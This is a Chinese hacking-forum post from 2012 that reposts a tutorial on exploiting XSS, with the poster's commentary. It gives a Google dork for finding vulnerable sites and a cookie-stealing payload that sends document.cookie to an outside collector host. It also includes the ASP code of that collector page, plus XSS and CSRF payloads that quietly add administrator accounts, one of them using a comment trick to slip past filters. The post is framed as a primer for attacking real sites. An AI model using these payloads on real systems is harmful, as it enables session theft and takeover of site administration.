找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2237|回复: 0
打印 上一主题 下一主题

实战xss漏洞利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:08:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为: ) U1 _! Y, }7 H& d, D

- |: Q6 }1 L7 S+ c4 Shttp://tieba.baidu.com/f?kz=1069007239
8 \4 T5 o+ r/ I& P, [! [4 Z4 }
! l7 s7 S. @' p9 Q0 F这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。( U) |$ u; ?( a; }, z" I
7 _5 n0 v1 _+ q+ H3 S
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。$ v9 ?& V& w4 S8 z4 g( v+ p

! R* B/ c* i6 @: y: n8 ^4 p我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
& R  p5 W2 u7 O- S& d/ T4 |" m+ b; r5 m" n' @+ M2 Y
这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。2 c/ o) [' S; M. U) N

8 o' D4 x- D2 J7 E" _好了,废话不多说了,一起来看文章吧。5 r4 Q) b* S2 x8 i

5 w6 _6 {: P  ^8 b% O) }6 ?-------------------------------------------------------------------  ^* R7 e% S# W2 p5 C- _! g

7 j3 [$ |$ o+ m6 M2 v& P4 |$ L首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。
6 N+ i3 G/ O; `2 {: i4 y9 W+ q. _- H4 v9 J! \- L" y

4 p3 ^2 L3 Q* ?( [# E
8 ?, @& F+ _+ u& c4 ]( g3 O再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:) D, n' ?7 O8 Z! b4 G
; K2 o2 u, U+ @6 N

% ^  W* o8 e# E7 h( B! z1 `) I! @2 z3 z/ }
这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是
. J! c4 a) o  L5 O! w) D6 h1:让目标访问已跨站的网址,然后这个网址执行脚本
+ i2 }; |# L% O; p2:然后跳转到你已经写好专门用来收集Cookie的网址
/ }/ x  R6 N, R/ }- {6 A) X
& G4 q, Z  [! ?, Z6 w3 C4 E具体实现方法:0 T* U) g2 e9 H6 s
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>6 y6 a$ g1 c0 h5 ?0 q8 B
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。$ V( e" E' r* `; W2 ^7 f
% W$ C, ?9 b4 W) w' v+ z
这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:, _& E& s' K, o$ D! {) q  k7 C
8 w! y4 l! f5 f# v- E( U& b
<html>
) [- d6 R/ v# z* }1 q- V0 L$ K9 ]/ {<title>xx</title>
3 p7 `3 l+ b7 r0 R$ p' X7 O' P( B7 O<body>. _: n$ ~. F2 m
<%
: c7 t. U2 e: Jtestfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
, {4 y1 [2 B/ G1 tmsg = Request("msg")   //获取提交过来的msg变量,也就是cookie值0 A! c+ |# M. f1 |! Q" \
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
* W9 Q1 n& z: d0 d, h8 R& p' }set thisfile = fs.OpenTextFile(testfile,8,True,0)
# W: y  H# d% J& Z2 W9 ~6 uthisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie* h; u. o) d8 Q+ |5 h7 v" b( r
thisfile.close   //关闭
; m0 z! Z3 O: {" o/ A0 h  n: dset fs = nothing8 m4 V; [( ]; E; m# i
%>
  q1 w( C) U+ q+ k1 |8 P& P4 U</body>
( L/ H' {) n" M</html>7 k# C, f( n3 _' n

- {/ J+ }7 |) B3 o7 ]然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
. V) ?% v) O" l! M( n" f
& O" Z) @3 c, g+ {& X, |/ x8 a * G+ I  U  Y( ]7 F1 x( }1 T
( T+ c6 K! }- ^, E" j6 g

% [1 f% `- n5 I9 i# ]拿出来看看,呵呵,Cookie到手:
; ?6 ?# a% Z# G( z0 p, h2 ]. X0 j. a$ N0 N
9 C( n) H% q9 ]  i
- {/ K& U' _  L% m
本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~
1 x9 |, r  C+ c6 k( O- l: E3 o
, R) m( w! l0 a  ]5 |PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。
% B& F4 @' J" c% R: ?3 N) p+ [/ ]. |) p4 e' O6 K
-------------------------------------------------------------------% e: d# h" x* s  B
! m4 r  Q9 V7 x% N5 ?
下面是我对这个帖子的回复,也一起贴过来吧:, N! o+ A+ a' ?* ^1 l

+ T6 D- s5 D8 H说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。
* e& U; d' N' |+ g/ T0 g7 k" N% S# `
% X8 L* }4 M$ _( N; }! G但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。  z, v4 x6 A3 I/ q9 E: S
再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
( I, }. T9 x8 D! h6 g8 ]5 E3 V6 U( L! H2 D$ X$ w0 ?
在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:% W+ B# j. L* ?8 g8 O, I; v

/ w* d5 F7 }7 xhttp://user.qzone.qq.com/673116767/blog/1252452536
1 }7 r4 B) l: J% G% v# v+ [. ^4 j. \7 N+ `; c& v9 P
一般发现一个xss漏洞后要做的基本上就是这些:! p3 g& I5 Y5 w+ A, b4 z
2 f; v9 w! z! Q, g9 i9 Y0 D( C7 y. I
1.  伪造请求  使用$_REQUEST或$_GET
* A, ~% m& Q4 P
1 R- B& h  f! z" a# `首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:. o' P* A' `, s, l4 S( g
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
6 Z/ [$ c7 G! H9 i当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。
, S9 _8 U1 T* \( s3 D4 F
7 n% n- R8 g) l4 E如果是可视文本编辑器,可以尝试使用输入:8 `1 K2 n: E6 g; H0 J. R' X
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
! X9 e, _+ ^% M- O8 L这样最终会构造出:* a* K0 r( E) k+ ~7 B$ t4 L
<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
" f; G6 b' u! \, C$ L' G5 R总之要举一反三。
1 r, k: X5 m, L& m  k7 ^) `
1 `% ~# y2 Q) v  _. ?( P( I8 D2. 伪造请求  使用$_POST2 x, C% s4 `  Y) y6 v- T$ S8 g

1 f5 W1 x0 z# z; Z, U* g4 k4 \当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:$ F' ~( ^: t6 h. ]& a
<sc/*xss*/ript type="text/javascript">& `" w, p/ _% t3 o, Z, @
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
: z  I+ g. v" Q% Eaj.open("POST", "/admin/admin_add.asp", false);9 ^6 F$ ~/ }0 k$ l9 b# z
var postdata = 'name=xxx&psd=yyy';
* \! i8 t4 }7 b, j& f  D' I; Faj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
" ^) Z7 O3 Q! E* e% k$ Baj.send(postdata);$ I/ X; R4 }2 ?# c. r8 w9 V
</scr/*xss*/ipt>
$ z$ ?  e: w; r1 j1 {/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。
( P) w  o! z* [+ `  O3 x# |  ~1 Q: \) N& r
3. 跨站伪造请求 使用$_GET 或 $_REQUEST
) u7 M9 Y4 D: L  C6 u2 z' ~5 {; [- y5 U
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片# A; P" W; o/ \0 w9 j! Q( y. c; H( e
<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>- R6 e# l/ x  Y7 B) w6 k2 }' {9 n
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。* ~- }& b; r# J8 X+ X

) D: C& [  \1 ^- G. {8 y4.跨站伪造请求 使用$_POST(0day)3 j( `% ~1 ?; w! j: b2 E  }- ^

$ V% f: ~* j9 w1 {1 W4 a( \如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。3 C+ f4 q! ?' ]6 v7 M3 q
; y- H. q; z, M  P& B! J0 h' S
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。! g/ ~) O. p# z: R" A$ i- w

+ J& T( r% X6 z6 \3 F9 |' j总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。- `3 J" e0 k7 [7 e# \7 ~
, R( [, p( W- i% ^/ I0 ]7 q0 V" e
OK,该说的都说完了,Over。
8 D( s, [5 t) H: f/ c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表